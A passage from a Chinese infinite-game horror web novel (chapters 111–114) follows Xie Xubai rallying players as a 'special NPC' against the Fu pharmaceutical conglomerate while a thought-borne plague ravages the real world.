[傅倧]的同伙会不会中途阻挠,联盟政局会不会相信他们的说辞,又如何劝服他们宽限动用热武器的时间,外界一样变了天,病毒发展成瘟疫,会不会极其凶险?…… 当车子发动的那一刻,一切不安都被李医生等人抛之脑后,唯有向前。 此去前途未卜,他们已经有所觉悟。《 》 110-120 第111章 行走的玩家诱捕器…… 之后谢裴两人演了一出戏。 实验室里就封存着现成的被“稀释后”的污染物质,但只有二次稀释,出于一个实验过程中不小心被感染的研究人员,种种机缘巧合才顺利提取,留存下来,其中凶险暂且不提。 当初裴玉衡不是没有发现毒性有所衰减,他只是没想过利用人体为过渡媒介,多次消磨它的毒性。 还是那句话,有的事情就算看起来充满希望,也绝不能开这个口子。那带来的不是拯救,是毁灭的先兆。 基地众人被吊着胃口,谢裴两人放出消息要宣布实验结果的那一刻,他们怀揣着复杂的心情争相前往。 伪造过的研究结果被投屏到荧幕上。即便初高中知识谈及过生物细胞切片,也很少有人能精准分辨细胞种类及活性状态,这给了谢裴两人很大的操作空间。 看到正常的细胞扭曲异化,长出可怖的触须,听到谢裴两人出面宣告,[傅倧]所言是怪物蛊惑人们自相残杀的谎言,众人怔愣着,不明觉厉,半信半疑。 但不可否认的是。 当谢裴两人亲自出面,以声誉担保,凿毁这条血腥的生路,安静得针落可闻的人群中,终于徐徐传出一句如释重负的叹息。 众人面面相觑,忽然放松一笑,压抑凝滞了好几天的空气再度流动。 谢叙白考虑周全:“我们需要做好两手准备,如果李医生没法顺利将消息送到,争取足够多的时间,那我们必须想办法避开火力肃清。” 具体如何避开? 挖防空洞。 战争时期人民的智慧告诉我们,大规模的地面袭击躲不开,那就躲进地底。 刚巧的幸存者基地下面有个地下室,刚巧裴玉衡想在地下建立能关押怪物病患的隔离病房。 人们全力以赴,废弃单调的地下室有序扩建,为了容纳足够多的幸存者,设计规模大得惊人,逐渐呈现出后世地下秘密基地的雏形。而远赴现实世界的李医生等人,对此一无所知。 历史的轨迹在这一刻再度微妙地重合。 不知道是因果作祟,还是系统看不惯谢叙白屡次取巧规避命运的做法,两日后的凌晨,基地突然接到酿酒厂的通知,说他们那边遇到一些困难,资金链断裂,周转不开,要停止供应货物,中断合约。 谢叙白当即神色一沉,打电话过去询问出了什么问题。 十几天前对他恭敬有加的酿酒厂老板,说起话来却开始支支吾吾,谢叙白再三逼问,他终于漏了点口风:“您难道不知道吗?就在刚才,傅氏集团入驻了本市。他们听说我们之间的合作,说您这边似乎和他们有点过节……” 刚才? 谢叙白不敢放松警惕,他确信自己没有听到系统的传报通知,难道系统学精了? 想到这里,他重新整理语气,没有以势压人,也没有过分示弱。 本来准备马上挂断电话的酿酒厂老板,愣是在谢叙白镇定的语气中,又和他聊上好几句,讳莫如深地用一句话匆匆结尾:“傅氏要是和你们对着干,肯定不会只联系我一家厂子,你们要小心。” 谢叙白没有挽留。如果连金丝眼镜释放出高级诡怪的威压,都不能令酿酒厂老板站在他们这一边,那什么挽留的话都没用。 他眯了眯眼睛,有些狐疑。 之前在现实世界和傅氏集团过招,并没有看出这腐烂龌龊的一家人有什么令人忌惮的本事,难道说,里世界的傅氏集团会进化? 系统提示姗姗来迟。 【叮!即日起,傅氏集团医药制造有限公司正式入驻H市!】 随着这一声只有谢叙白能听到的广播响起,正在给伤员包扎伤口的医护人员,狐疑地咦了一声,拿起药盒询问同事:“这药是这个厂家和牌子吗?我怎么感觉有点奇怪。” 另一名医护人员伸长脖子看一眼,先是奇怪,随后眉宇渐渐松开,似是笃定地说道:“就是这个牌子,傅氏药业,我记得很清楚。” 不高不低的交谈声,却宛如在谢叙白的心里炸出一道惊雷。 他箭步走过去,在旁人不解的视线中,拿出药盒仔细一看。果不其然,药盒上的厂家竟变成了傅氏集团的字样! 众人只看见谢叙白的嘴角抿紧成一条凌厉的直线,心里不安,来不及询问什么,谢叙白已经风风火火地转身冲进了药物储存室。 所有药物,一个个看过去,除去一些造价极高的稀有药,从人们耳熟能详的抗生素消炎药,再到一些特病的靶向药物,近八十的制造厂家居然在不知不觉间全被替换成傅氏药业! 现实世界绝对不会这么离谱,但这里是里世界,没有联盟政局的约束,只有诡谲扭曲的规则。 认知出问题的人们甚至连学习新东西都有门槛,小区门卫没法跨行去做产品销售,飞行员看不懂潜海相关的专业书。知识受限,必将伴随着行业垄断,阶级固定。 来不及多犹豫,谢叙白当即让基地众人出动,尽可能多地采购药物、食品及饮用水。 此时距离怪物披上人皮回来经营店铺,已经有一段时间。 怪物钟情于在食物中添加一些人类接受不了的食材,比如不停扭动的蠕虫、半截鲜血淋漓的手指,还有泡过福尔马林的眼球,但它们偶尔也会出售人类能吃的正常食物。 谢叙白特意将那些正常售卖货品的店面标注出来,在他不停的安抚下,幸存者们接受新事物的速度很快,毕竟不快,很有可能活生生饿死自己。现在这份安全名单就派上了用场。 酿酒厂老板那边也给了谢叙白一大惊喜,对方或许还抱着和他们交好的心思,没过多久,单方面终止合同的赔偿金就打了过来,没有一点拖泥带水。 谢叙白也利用这笔赔偿款,成功收购不少物资。 他庆幸自己行动够快,选的也是小型商超和小药店,消息不算流通,因为刚结完账拿到物资,下一秒对幸存者基地的禁售令就贴在了店门上。 基地众人原本不明白谢叙白为什么要火急火燎地大量采购,直到几支探索小队,带着一脸郁气回来,大吐苦水。 原来他们回程途中,路过基地门口经常光顾的小超市,想着买一瓶水解解渴,却遭到老板的无情拒绝。他们疑惑不解,只是多追问一句原因,和和气气的老板竟然当场翻脸,不由分说地把他们全赶了出来。 不止是超市。 器材市场、家具服装、五金店、熟食店…… 往日熟悉的门店,不约而同地谢绝人类进入。 如果放在灾难刚降临的那段时间,幸存者们绝对想象不到,作为人类的他们,竟然有一天会被吃人的怪物拒之门外,难道是他们的肉还不够香吗? 这也算苦中作乐的想法。 随着越来越多的商家入驻里世界,本来孤寂荒凉的H市中心地带重新热闹起来,但这些热闹只属于怪物。 每至深夜,它们会变成狰狞的怪物,出来活动筋骨,若有人不幸撞上,等待他们将是残忍的生吞活剥。 是以夜晚,明明街上灯火通明,喧哗不断,人类却只能躲藏在幸存者基地里相依取暖。 仅仅一墙之隔,外面是怪物此起彼伏的放纵大笑,里面只有压抑到几不可闻的呼吸声。电路系统出故障,还在抢修,黯淡烛火照亮众人颓残沧桑的脸。 难以言喻的孤独感弥漫开,在怪物肆虐的里世界,幸存者基地就像被困在茫茫大海中一座孤岛,而幸存者宛如无根浮萍,除了认命地随波逐流,别无他法。 充作防空洞使用的地下基地建设被迫叫停,好不容易解决掉的食水问题,再度成为抵在人们脖颈上的镰刀。 四面受苦,孤立无援,傅氏集团的人甚至没有出面,就几乎让他们迎来灭顶之灾。 谢叙白忽然意识到,[傅倧]不够格。 这种龙头势力的摧残打压,个人无法撼动的无力,才是梦中谢语春所说的、令人遍体生寒的“怪物”。 在沉闷得令人透不过气的氛围下,再乐观的人也没法露出微笑,幸存者基地的气氛日渐低迷,甚至爆发出几场言语冲突。 也是这个时候,一个神秘人找上谢叙白。 他使用了某项伪装道具,遮掩真实容貌,开门见山地道:“我们都是玩家,何必为一个NPC拼命?” 见谢叙白不开口,只是警惕地盯着他,神秘人又笑了,无形中透出某种势在必得的傲慢:“你不也看到了吗?傅氏集团抢占市场,能从方方面面制裁这家小基地,让你们寸步难行,和它作对的裴玉衡根本没有赢面。如果看不清局势站错队,到时候只有死路一条,何必把自己搭进去呢?” 谢叙白不甘示弱,扬唇轻笑:“很好,诚恳希望过段时间江氏集团入驻之后,傅氏还能保持这样充足的自信。” 神秘人的脸色当即扭曲了一下。 谢叙白抬了抬眉梢:“别虚张声势了,如果我没猜错,你们的人大部分都留在现实世界,不然早就联合起来对裴玉衡下杀手,还需要先丢一个棋子试探深浅,再撺掇他身边的人倒戈?” 这话显然戳中神秘人的痛楚,说到底玩家习惯了打打杀杀,对他们来说,有道具,有个人技能,有组队策略,直接下手虽然愚蠢却是最有效的做法。 这也是为什么前几次副本,大部分玩家的通关思路一直集中在如何解决boss身上,因为古往今来的经验告诉他们,别多想直接干,才是最优解。 没有第一时间动手,绝对不是他们仁慈,而是受限没法行动。 神秘人的眼神阴冷下去,倏然又笑起来:“原来这就是你有恃无恐的原因?我不妨好意提醒你一句,再过不久,现实世界就会和里世界融合在一起,我们的人比你想象的还要无法估量,到时候你孤家寡人,准备怎么和我们对着干?” 谢叙白的眸光闪烁了一下:“现实世界将会和里世界融合?消息确凿?” 神秘人没接话,嗤笑道:“你也算是个潜力股,我再多给你点时间,好好考虑一下,不要不知好歹。” 说罢,他转身消失,徒留谢叙白站在原地,摸着下巴若有所思:“原来是这样,接下来是玩家的主场啊……” * 细论起来,[傅倧]带来的也不全是坏事,至少那两管疫苗依旧具备研究价值。 裴玉衡不愿意放弃研发疫苗,当然不是那种以命换命的法子。又或者说,他仍然心怀希望,总感觉一定有不那么悲壮残忍的方法能让大家获救,只是还没有被找到。 伪造结果的事情只有他们三人知晓,连实验室的研究人员也被蒙在鼓里,不是信任不信任的问题——如果不想昔日好友反目成仇,就别去考验人性。 也意味着,裴玉衡现下只能靠自己继续实验,除谢叙白以外,谁也不能提起。 这天他头晕眼花地到实验室外面透气,发现谢叙白手上金光闪闪,将精神力搓出各种稀奇古怪的造型。 最后,谢叙白搓出一个标准的感叹号,漫不经心地捏在手中把玩,问他:“像不像?” 裴玉衡见他认认真真,幻视人类幼崽搓橡皮泥玩,烦闷的情绪一扫而空,会心一笑:“非常像,你准备拿来干什么?” 谢叙白将眼镜摘了下来。 只要金丝眼镜不离身,旁人看谢叙白就好似笼罩着一层朦胧的面纱,不妨碍他们看清楚浑然天成的五官,却无法认知到他的真实容貌。就算一时察觉到不对劲,也提不起心力去仔细探究。 谢叙白敲了敲眼镜,让它结束拟态。 关注着他的老父亲神色微变,像是第一次认识到他般,眼睛越张越大。 只因在他的视角中,谢叙白就像褪去泛黄痕迹的水墨画,温文尔雅,如玉雕琢,有什么融进骨子里让人恍惚失神的韵味,由此溢散而出,沁入心脾。 谢叙白状似平静地看着裴玉衡,实则心里有多么忐忑,只有他自己才清楚。 他知道自己的真实样貌和裴玉衡出入很大,是走在路上,即使气质相合,旁人也不会将他们错认有血缘关系的程度。 裴玉衡上下扫视,看得极其认真,倏然感慨一句:“你妈妈一定很漂亮,幸好你长相方面不随我。” 刹那间谢叙白不知道是松了一口气,还是有些遗憾。 “嗯,妈妈确实很漂亮。”谢叙白真心实意地笑了笑。 裴玉衡也笑,笑过之后,他抿了抿嘴唇:“阿余,傅氏那边,我想去……” “先别着急,还没到需要你牺牲自己赴鸿门宴的程度。”谢叙白知道他想说什么。 当着裴玉衡的面,他将捏造出来的感叹号放在自己的脑袋上,向裴玉衡确定没有放偏,转身下楼,顺着路走向基地大门。 裴玉衡这二十多年来,很少接触电子游戏等娱乐项目,所以他一时不清楚,谢叙白顶着个闪闪发光的感叹号来回乱逛有什么意义。 也不会明白,当谢叙白将那张倾世俊美的脸暴露在光天化日之下,同时顶着个感叹号,将会在接下来的时间,引起多么轰动的一幕! 第112章 特殊NPC“谢叙白”…… 谢叙白身上有双重拟态,一重是金丝眼镜,现已解除,一重是沉睡在阴影中的小触手,迷迷糊糊感应到谢叙白的呼唤,顺着他的话同样解除了拟态。 等同于现在所有人看见的,都是谢叙白的真实容貌。 最开始注意到谢叙白的,是大街上某位平平无奇的清洁工。 他身穿黄色清洁服,拿着扫把路过,无意间瞄向谢叙白的那张脸,还有他头顶金光灿灿的感叹号,蓦然就像被施展定身术愣在原地,然后如狼似虎地扑……不,冲了过去! “你,你是……?!有什么我可以帮忙的吗?” 谢叙白似乎有点讶异,转过身来看向这名清洁工,随后对着他笑了笑。 宛如雪中劲竹,芝兰玉树,只是微微扬起唇角,便叫人头晕目眩。 没有疑惑这名清洁工怎么认出的自己,也没有过多的赘述,他直奔主题。 “我需要有人协助我战胜傅氏药业,并找到一个叫周潮生的人,把他平安带到基地领袖裴玉衡的眼前。你愿意帮我吗?” 和在副本《屠龙少年》中时,严岳等人遇到的情况一样。 当谢叙白说出这一句话后,清洁工的眼前忽然弹出一个虚拟屏幕。 【是否接受“谢叙白”发布的协助任务?】 人物名称:谢叙白(化名:尚未揭露) 身份:【■(禁止窥探)】、【A级诡王“平安”之主】、【A级诡王“江凯乐”的唯一老师】、【???级诡王(待觉醒)裴玉衡的■■】、【???级诡王■■■的挚友】【???级诡王■■的挚爱】 【注:该任务为阵营任务,选择后将自动分配到裴玉衡(人类)阵营,无法更改。】 【敌对阵营:傅氏药业】 【注:完成特殊NPC“谢叙白”发布的任务后,或可直接通关该场试炼。】 谢叙白和清洁工交流时点了一下耳侧,他们的谈话内容从小型联络器中传出。 他没有透露无限游戏的特殊信息,是以裴玉衡能够完整地听到谢叙白发布的任务内容。 可裴玉衡却觉得自己出现了幻听,对付傅氏药业这么艰巨的重任,找一名小小的清洁工能有什么用? 而且傅氏集团的凶戾名号,连酿酒厂老板这样的财产大亨都要退避三舍,那名清洁工会同意吗?他有胆子和傅氏作对吗? 事实上这名清洁工激动得快要昏过去了! 他想都没想到脱口而出:“是是是!接接接!”要不是玩家没法操控面板,他都忍不住想自己上手接任务! 家人们谁懂啊?在系统不知道又作什么妖,通关进度一筹莫展的时候,主线剧情和关键NPC居然自己冒了出来! 而且关键NPC是传说中的谢叙白,任务提示还是——或!可!直!接!通!关!副!本! 清洁工就跟走在路上突然天降几个亿,要死死按住起伏不定的胸口,平复上蹿下跳的心脏,才勉强找回差点被兴奋喜悦冲刷掉的理智。 不,应该说他根本没法理智,这事让任何一个玩家听到都要癫狂。 裴玉衡站在窗边,看着清洁工对谢叙白(发布的任务)如痴如醉,手舞足蹈近乎癫狂的模样,表情从一开始的怀疑,逐渐转变成一言难尽。 他怀疑自家孩子遇到了痴汉,鉴于这事好像是裴余引发的,忍了又忍,才忍住没叫巡逻队过去赶人。 很快老父亲就发现,他的想法还是太保守,忍耐力也没自己想象的那么强大。 只因清洁工不是特例。 清洁工尚未离开,又有两名路人忽然盯着谢叙白走不动道,硬生生扭转脚步,以一百米冲刺的速度闪现到谢叙白的眼前。 同样激动到情难自已,同样点头如捣蒜同意协助,就差没当场宣誓以表诚恳。 这还不算完,仅仅是个开始。 短短几分钟的时间,谢叙白就像出世的宝藏,身边围满一圈人。有人甚至不辞辛劳从几公里开外的地方赶过来,额头上还挂着未干的汗水。 上市公司的白领,超市的销售员,卖路边摊的大爷大妈……各种平日里八竿子打不着关系的家伙聚集在一起,目光炯炯有神,认真安静地聆听谢叙白的话。 从他们散发着一股狂热到无法撼动的气势,叫不明真相的旁观者头皮发麻。 这么多天以来的,玩家们需要遵循自己的角色设定,不能轻易透露身份,也是憋得慌。 眼下,谢叙白头顶的感叹号,就像超强聚光灯,将在场玩家联合在一起,打破这层壁障。 玩家们老乡见老乡,火热的情绪更上一层楼,围绕着谢叙白和他发布的任务,展开激情探讨。 “谢叙白?居然真的是他!” “近看发现真人比直播更……嘶,他的魅力值到底有多少啊?我赌绝对不止六十!” “你们还有闲心关注那些有的没的?看他的身份列表,居然又多出来了两项!” “我们之前搜集到了这个副本的主要线索,裴玉衡是准诡王不稀奇。” “不稀奇个屁!这可是S级副本的诡王!哪怕动一动手指头都能捏死你。” “别那么激动,你和谢叙白对比看看呢,能和S级诡王沾亲带故,本尊的实力身份又能差到哪里去?” “新增的第一项身份,难道是谢叙白自己的真实身份?我的天,第一次看见禁止窥探的提示,听上去就了不得!” 话音未落,就有人叫唤起来:“靠,我的眼睛!” 他的同伴慌慌张张地看过去,见人捂着眼睛痛得不断抽气,连忙询问他做了什么。 那人倒也实诚,呲牙咧嘴地揉眼睛:“我不就试一试是不是真的不能窥探吗,谁知道连使用鉴定术都会遭到技能反噬……妈呀,血!救命,我不会变成瞎子吧?” 玩家群体不缺这种勇于作死的人,明明给出警告不能去做,还要手欠地试探一下。 其他玩家嘴角抽搐,道了一句活该,同伴尴尬地拿出治愈道具给他治疗。 但,经过作死玩家的这么一试探,却是增加了任务提示的可信度,也将谢叙白的形象衬得愈发神秘强大。 “所以不用犹豫了,选和谢叙白一样的阵营准没错!他X的,我还以为自己要在这个鬼副本里熬到死,可算能有进展了!” “不会吧?这可是疑似神级NPC发布的机遇任务,你们居然还要犹豫一下?” 也是这个时候,谢叙白望着逐步扩张的人群,恰到好处地流露出一丝意外和感动:“这次的任务很危险,不可避免会和傅氏的人产生冲突。我会给大家一些助力,但不能保证你们绝对安全,现在离开还来得及。” 叮。 系统提示实时翻译。 【是否放弃本次协助任务?确认放弃之后将无法再接到此任务。】 一见放弃之后无法再接取,原本还在观望的玩家瞬间像是被踩中尾巴的猫,生怕下一秒任务就从眼前溜走:“接!” 谢叙白抬起头,和躲藏在暗处的几双眼睛遥遥对视。 或许是过于震惊,隔着一段距离,谢叙白仍然能清晰地感知到他们不稳的精神力波动,那像是各种负面情绪的集合体,恼怒、慌张、不敢置信。 谢叙白走进无人窥探的楼梯间,才彻底解除的拟态。 他不担心自己的身份会暴露,也能想象得到,在幕后组织以为他们将十拿九稳的时候,忽然现身站队裴玉衡的【特殊NPC谢叙白】,会给局势带来怎样的冲击力。 谢叙白:“事不宜迟,我们现在就出发。” 金光洒落,玩家们猜到是NPC给出的增益buff,没有躲开。 不到三秒时间,他们瞳孔一凝,脱口大喊:“卧槽!” 【已获得“谢叙白”的助力加持,你感觉自己意识清明,对危险的敏锐度显著提升,获得临时buff“危机感知”。你的精神力阈值提高至原来的两倍,可免疫部分精神攻击。】 【“谢叙白”为玩家建立起精神链接,你得到一个新的组队频道,可与队友交换信息(限助力加持期间,限当场试炼)。】 【“谢叙白”在频道内发布“傅氏药业”的大致地形图,相关人员资料已更新,可随时查阅。】 【探索地图上的未知区域,将情报送交给“谢叙白”,将获取特殊道具,提升“谢叙白”及其关系人物的好感度,对通关该场副本大有裨益,也或许将在之后的副本中发挥作用。】 【“谢叙白”:现在,让我们结束这场闹剧,然后回家吧。】 玩家们一呼百应,声浪阵阵!阵仗翻天的动静惹得基地巡逻队倾巢而出,被恍惚回神的裴玉衡及时拦下来。 使用窃听道具的神秘人情绪一激动,狠狠砸向墙壁,恨得牙龈差点咬出血。 联络器里传出同伙不可思议的喃喃声:“开玩笑的吧,才刚集合,连人都没认熟,就跑去攻打傅氏药业的大本营,他们有这么勇?连扮演角色都不顾了?” 是的,玩家还要遵循自己的角色设定,做好角色的本职工作。 但幕后搅局的组织,显然低估了谢叙白这一名头产生的号召力,他们居然选择扭头辞职!半秒都没犹豫! 这种讨巧更改设定的方法,也是谢叙白之前抛出去的引子。 还记得当初在傅家,有个扮演管家的玩家苦于没法完成扮演任务,谢叙白建议他趁乱辞职,只要理由充分,过程顺利,就能摆脱“傅家管家”这一身份带来的限制。 这名玩家无疑是成功了,方法作为试炼攻略被玩家广而告之,也就有了在场玩家的集体辞职。 你问他们后不后悔? ——废话,他们又不是角色本人,怪物上司和丧心病狂的“家人”还百般刁难想把他们捶成食材,这牛马谁爱当谁当!他们不伺候了! 他们只可惜谢叙白没有早一点出现,不能亲手将辞职信甩在那些怪物的脸上! 退出工作群的那一刻,他们如释重负,得到解脱,纷纷拿出蒙面,遮住外貌,避免被角色的熟人认出来。 同时摩拳擦掌,在各自麻木的眼中看到久违的战意,冉冉升起。 忍辱负重几个月,终于可以大干一场! 第113章 外界的情况 魔术师几乎在和谢叙白他们失联的第一时间,同时察觉到存活天数的异常静止。 翻遍城市找不到谢叙白等人,魔术师也没有慌了手脚,给队友玩家A的傀儡替身还在运行,没有强行中断,就说明他们至少性命无忧。 此后数个月,他边观察形势,确定尚且存活的玩家数量,边和其他队友见证这座城市经历的磨难。 最初两个月,新型流行传染病彻底转变成特级瘟疫,当地区县的负责人眼看纸包不住火,连忙解除封锁,将实际情况传报上去。 然而这场瘟疫远超出人们的常规认知,患病者会在短短十几分钟内,从一个生龙活虎的健全人变得气息奄奄,随后在某个不经意的节点凭空失踪,仿佛被世界抹去存在。 从来没有发生过这种离奇古怪的事情,这引起联盟政局的高度重视,然而无论派出多少专家,都无法解释用现有的科学理论解释为什么会出现这种奇异的现象。 到了第三个月,专家们终于确定瘟疫的传播途径,然而事实说出来,却像是个荒谬的玩笑。 因为病毒传播不是通过血液、空气或肢体接触,而是思想。 对,没说错,也没听错。 思想。 患病者最初接触到病毒源的显著病症是思维受到影响,经常性发呆,反应迟钝。 随后,他们会忘记一些常识性东西,比如怎么穿鞋和拧开瓶口等等。再过一段时间,病情恶化,反应更加夸张,他们会忘记自己是谁,忘记该怎么行走,甚至忘记自己是人,模仿猫咪舔毛和狗叫,幻想自己长出翅膀,能飞上天空。 就有人从高楼一跃而下,白花花的脑浆混着鲜红的血肉,溅了一地。 而看到这诡异一幕的人,即使从未和患者有过近距离接触,也会将恐怖的画面镌刻在脑海,时不时想起,又在某个时间点,出现同样的症状。 空气可以隔绝,但发散的思想要如何禁止?大脑要是不思考,不运转,那不就是死了吗?通过思想传播病毒,世界上真有这种骇人听闻的病症吗? 因为这一发现,人类的医疗体系几乎被全面颠覆,不少专家在研究过程中陷入疯狂,绝望大呼:这是场史无前例的灾难!若不想办法强加干预,人类可能被灭族! 仿佛应召了这句话,第七个月,瘟疫在数十个区县内肆虐,逐步朝周边区县扩散。 这还是联盟政局反应及时,动用市内所能运用的一切武装力量全力挽救的结果,要不然至少半个城市都会沦陷。 谁也没想到,同时期被清算整改差点一蹶不振的傅氏药业,会在这个节骨眼上突然冒出来,提出异空间的存在。 经由他们改装的车辆,竟然真的可以跨越空间,顺利驶入里世界。救援部队的牺牲令人悲痛,成功解救出幸存者又让人们看见了希望的曙光。 又两个月,傅氏药业顺利研发出疫苗,摇身一变,成为灾难中的英雄企业。消息一经传出,引起整座城市的轰动,听到傅氏唯一的继承人甚至不畏艰难,意欲前往异空间控制污染源,市民热情高呼,激动得热泪盈眶! 傅氏由此受到整座城市最高级别的礼遇,H市联盟分局亲自上报,给他们开绿灯。 傅氏药业被众星捧月成为当地第一药企,公众信服度直线拔升,正对应里世界的傅氏入驻,一夜之间,所有药物制作的厂家都被更替为【傅氏药物制造有限公司】。 ——李医生他们一来到现实世界,面对的就是这种地狱开场。 头顶烈阳高照,驱散一切阴寒,眼睛还未适应这种没有冷意的阳光,无数个话筒就已经杵到了嘴边。 隔离带外人头攒动,记者仿佛忘记他们可能携带病毒,带着激动到狂热的表情,喋喋不休地追问里世界的情况。 “请问你们是被傅氏集团救下来的人吗?”“有没有找到病毒的源头?能否大批量稳定研发疫苗?”“听说傅氏药业的某位管理负责人一直在前线坚守,那人叫裴玉衡是吗?”…… 李医生愣了又愣,听到那群记者颠倒黑白,将裴玉衡归为傅氏药业的人,所有人的功劳也都安到那些阴险小人的头上,他吹胡子瞪眼激怒攻心:“放你X的——” 幸好玩家A就在附近,连忙使用道具让李医师及时噤声,趁着人群混乱,将这几人带走。 李医生手里捏着完整的记录资料,包括[傅倧]离奇死亡后化身怪物的录像视频,这些都是控告傅氏的有力证据。 或许忌惮这一点,没过多久,神秘组织的人就找上了收留李医生的魔术师。 白西装戴假面的神秘人彬彬有礼地说道:“势力榜前五的魔术师,久仰大名,这似乎是我们第二次正式见面?” 魔术师盘膝坐在天台上,这是方圆几公里内最高的商业大楼,底下就是被列为重灾地段的城南新区,建筑设备完善,却无灯光亮起,荒无人烟,宛若死地。 他百无聊赖地把玩手中的扑克牌:“你的说话方式让我想起某个自视甚高的傻逼,见面就神神叨叨地说什么筛选淘汰、所有人该顺应天命放弃通关的蠢话,我就把他拉进了试炼池。” 玩家空间不允许动用技能和武力,但不会限制玩家将人押去试炼池或公会领地“切磋”。 神秘人眉毛微颤,仿佛回忆起那名同伙凄惨的结局。 扑克牌制式的黑曜石耳坠微微摇晃,魔术师眯眼,似笑非笑地看过去:“你现在找上门来,难道是想步他的后尘么?” “……”假面人放低姿态,“您误会了,我们没有敌意,您看。” 他指向荒凉狼藉的街道:“这里也曾车水马龙,繁荣热闹,可是如今被污染侵袭,又在另一个叠层领域被怪物占据,完全荒废。” “这是大势所趋,是既定的命运,单一族群的挣扎改变不了什么,就像当初恐龙也没有躲过彗星撞地球,猛犸象灭绝于气候变化和人类猎杀。既然这样,为什么不顺势而为?” 魔术师瞥他,嗤笑:“对你们来说,背叛人类,当系统的走狗就是顺势而为吗?” 假面人像是没有听懂他的嘲讽:“不,系统充其量只能算天命的代言人,称不上我们要顺应的‘势’。” “魔术师,我听说前两场副本,你没有参与,一直在试炼池闭关。其实闭关是假,想要验证某个消息是真——难道你没有察觉到,试炼池的副本数量和实际情况严重不符?” 魔术师没有说话,深沉地看着他,假面人倏然张开手臂大笑,像是在拥抱命运:“是吧,你也发现了!我们的试炼通关时间其实远远不止三年!所有人都在一无所知地迈入一个又一个轮回!” “实不相瞒,我们的主上早已堪破命运,上一次是这样,上上一次又是这样,这一次也不会有任何改变!人类彻底沦陷,现实世界与诡异世界融合,傅氏独霸一方!” 假面人大手一挥,里世界的画面如同打开的荧幕,展现在魔术师的面前,他笑声猖狂:“看看吧。” 魔术师拧眉看过去,倏然挑了挑眉头:“那你们的主上在堪破命运的时候,有看到一个金色感叹号吗?” 第114章 狼烟起 什么? 假面人对上魔术师戏谑的眼神,忽然萌生出一股不祥的预感,飞快看向里世界的投影。 天光黯淡,房屋残破,黑洞洞的楼层阴森可怖,庞大的影子在雾气中游走,传出猛兽般的嘶吼。整个世界仿佛笼罩着一层猩红的阴翳,宛如末日降临。 这是假面人及幕后组织所预料到的一幕,也是他们想给魔术师展示的一幕。 但在他们的预设中,绝对没有投影中央那个金光灿灿的感叹号! 感叹号下站着一位年轻俊雅的青年,那张脸仿佛被上帝精雕细琢过,只要见过一次就很难忘却。 假面人对谢叙白印象深刻。何止是他,他背后组织的绝大多数人,也都将这张脸死死地刻印在心中。 ——上场试炼要不是出了谢叙白这个扫把星,作为组织暗线的胡昌怎么可能会暴露? 看见不断有玩家被感叹号吸引,天降横财般狂热积极地涌上去,假面人的太阳穴就突突跳个不停:“艹!不是说特殊NPC不在该场副本中吗,这尼玛又是从哪儿冒出来的?!” 他扭头拿出通讯道具,咬牙切齿:“计划有……” 变字尚未出口,扑克牌如砍刀劈向他的手腕,啪的一声,通讯道具被打飞。假面人慌张后退,一步踩入不明显的阴影,就像触及什么机关,无数傀儡丝线拔地而起,铺开天罗地网,将他围剿其中! 魔术师双手切牌,漫不经心地往这边走:“当着我的面还敢走神,也太看不起我了吧?” 突然,他神色一凛,扑克牌瞬间展开,形成半扇形的屏障。电光火石之间,只听“叮!”的一声脆响,一柄黑色镰刀当空劈下,两力相撞,迸溅激烈的火星! 魔术师小步后退,手持半月镰刀的袭击者被弹开,翻身落地的同时挥舞刀刃,勾着傀儡丝线,像拨开窗帘般拉出一个口子。 假面人连忙趁机钻出束缚,手里掐着的道具爆发强烈到刺眼的闪光。 魔术师伸手遮挡,再睁眼的时候,天台空荡荡,晾晒的被子随风摇动,那两人已经消失得无影无踪。 就这么让人跑掉了,魔术师的脸色不怎么好看。 刚才镰刀男出现,他下意识丢过去一个鉴定术,低头一看结果,却忍不住愣在原地。 “只有C级,这怎么可能?” 无论是隐匿身形的手段,还是劈到扑克牌屏障上的力道,说有A级都不为过! 而且不知道是不是魔术师的错觉,那人出现时,似乎有意无意地往谢叙白的投影瞥了一眼。 镰刀、黑色兜帽、年轻男性……诸多特征结合起来,让魔术师猛然想起排行榜上那个臭名昭著的疯子,胃疼地啧了一声。 另一边,假面人气喘吁吁地撤离到安全位置,惊魂未定地斥责来人:“让你紧跟在我身后,你跑到哪儿去了?再慢一步我差点被绞成碎片!” 突然出现的镰刀男身穿黑色兜帽衫,露出的手背苍白骨感,半张脸被蒙在兜帽的阴影下,看起来很年轻。 听到问话,他偏了偏脑袋,没看清手是怎么动作的,镰刀飞快地划出一个弧形残影,抵住假面人的脖颈。 假面人惊呆了,低头看着近在咫尺的刀刃,骇然怒喝:“你要背叛组织!?” “哈……背叛?你是在搞笑吗?”镰刀男竟是当场笑出眼泪花,双肩抖个不停,嘲弄声宛如毒蛇吐信,“不过各取所需,还真会自作多情。当初要不是你们说能帮我找到谢叙白在哪儿,你以为自己还能有命在?” “结果你们连谢叙白出现了都不知道,要你们还有什么用?” 假面人还想说什么,镰刀往前一推,割破他的皮肤,登时四肢发僵,冷汗淋漓。 这个疯子,他是真的毫无顾忌! 镰刀男伸长脖子凑近,阴笑着命令假面人:“马上给我打开去里世界的通道,不然我就把你剁泥喂狗!” * 就像假面人预料到的那样,被谢叙白联合在一起的玩家化身意想不到的变数,爆发出惊人的凝聚力,三分钟不到敲定进攻策略。 他们决定兵分多路,先以郊外几家看守粗疏的小型制药厂为目标,再集火平推! 临行前忽然想起之前的任务提示,“你得到一个新的组队联络频道”,玩家们抱着试试看的心态点开。 【试试能不能聊天。】 【居然真的能用!之前聊天功能没法用的时候可憋死我了,和队友传个消息都心惊胆战的,生怕被哪个NPC听见。】 【奇怪,我刚才研究了一下,不能追踪之前的聊天记录,也不能联络好友,游戏功能没法在频道内使用。嘶……!有点子厉害。】 【我也发现了,这是真的神!】 【啊?什么都不能用还厉害?有谁能解释一下嘛。】 【举个例子,游戏官服和玩家个人搭建的私服。关键是谢叙白居然能越过系统的监管重开一个聊天频道,还不会受到干扰!要么他有系统的权限,要么他的权限大于系统,这要是能把好感度升满,那是妥妥的金大腿啊!】 【都什么时候了还在聊天?!你们那边情况怎么样?】 玩家B恨铁不成钢地发出这条消息,谨慎地朝前方潜行,但他没有注意到旁边的墙壁发生了一点微妙的变化。 也是这个时候,一道温雅的警告刺入他的耳内。 【触发“危机感知”!】 【警告!你的左手边有怪物在试图靠近!10米、8米、5米……!往上跳!】 宛如过电般的心悸感让玩家B一个激灵,想也没想地跟着提示奋力一跳。 